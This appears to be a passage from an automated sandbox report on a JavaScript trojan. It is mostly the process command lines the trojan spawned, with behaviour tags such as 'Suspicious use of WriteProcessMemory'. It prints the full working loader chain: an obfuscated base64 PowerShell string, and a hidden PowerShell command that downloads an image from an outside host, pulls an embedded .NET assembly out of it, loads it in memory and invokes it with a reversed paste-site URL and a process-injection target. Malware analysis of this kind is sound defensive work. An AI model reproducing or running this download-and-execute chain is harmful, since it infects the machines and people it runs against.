䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹QQBk↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹F↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹cgBv↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹Mw↦ ☰ ䷸ ㈽ ⺹y↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹L↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo.replace('↦ ☰ ䷸ ㈽ ⺹','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('0/yspnU/d/ee.etsap//:sptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32','desativado'))"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\trojan.js"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹VQBy↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹JwBo↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bw↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹Og↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹aQBh↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹M↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹x↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹M↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹dQBz↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹YQBy↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹cgBn↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹MQ↦ ☰ ䷸ ㈽ ⺹w↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹aQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBz↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bo↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹bwB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹Xw↦ ☰ ䷸ ㈽ ⺹y↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Mg↦ ☰ ䷸ ㈽ ⺹0↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Nw↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBh↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹Bu↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹agBw↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹dwBl↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹QwBs↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹ZQBu↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹TgBl↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹LQBP↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹agBl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹TgBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBX↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹YgBD↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹aQBl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹ZQBi↦ ☰ ䷸ ㈽ ⺹EM↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgB0↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹R↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹bgBs↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹EQ↦ ☰ ䷸ ㈽ ⺹YQB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹K↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBV↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹EU↦ ☰ ䷸ ㈽ ⺹bgBj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹ZwBd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBV↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹Rg↦ ☰ ䷸ ㈽ ⺹4↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹RwBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹UwB0↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹aQBu↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹K↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBC↦ ☰ ䷸ ㈽ ⺹Hk↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹KQ↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹8↦ ☰ ䷸ ㈽ ⺹Dw↦ ☰ ䷸ ㈽ ⺹QgBB↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹RQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹XwBT↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹QQBS↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹Pg↦ ☰ ䷸ ㈽ ⺹+↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹8↦ ☰ ䷸ ㈽ ⺹Dw↦ ☰ ䷸ ㈽ ⺹QgBB↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹RQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹XwBF↦ ☰ ䷸ ㈽ ⺹E4↦ ☰ ䷸ ㈽ ⺹R↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹+↦ ☰ ䷸ ㈽ ⺹D4↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBU↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹E8↦ ☰ ䷸ ㈽ ⺹Zg↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹KQ↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹ZQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹TwBm↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BG↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cs↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹LgBM↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹YgBh↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹T↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹ZwB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹YQBy↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BD↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBT↦ ☰ ䷸ ㈽ ⺹HU↦ ☰ ䷸ ㈽ ⺹YgBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹cgBp↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Zw↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BM↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹QwBv↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹dgBl↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBG↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹bwBt↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹YQBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹Ng↦ ☰ ䷸ ㈽ ⺹0↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹By↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BD↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ 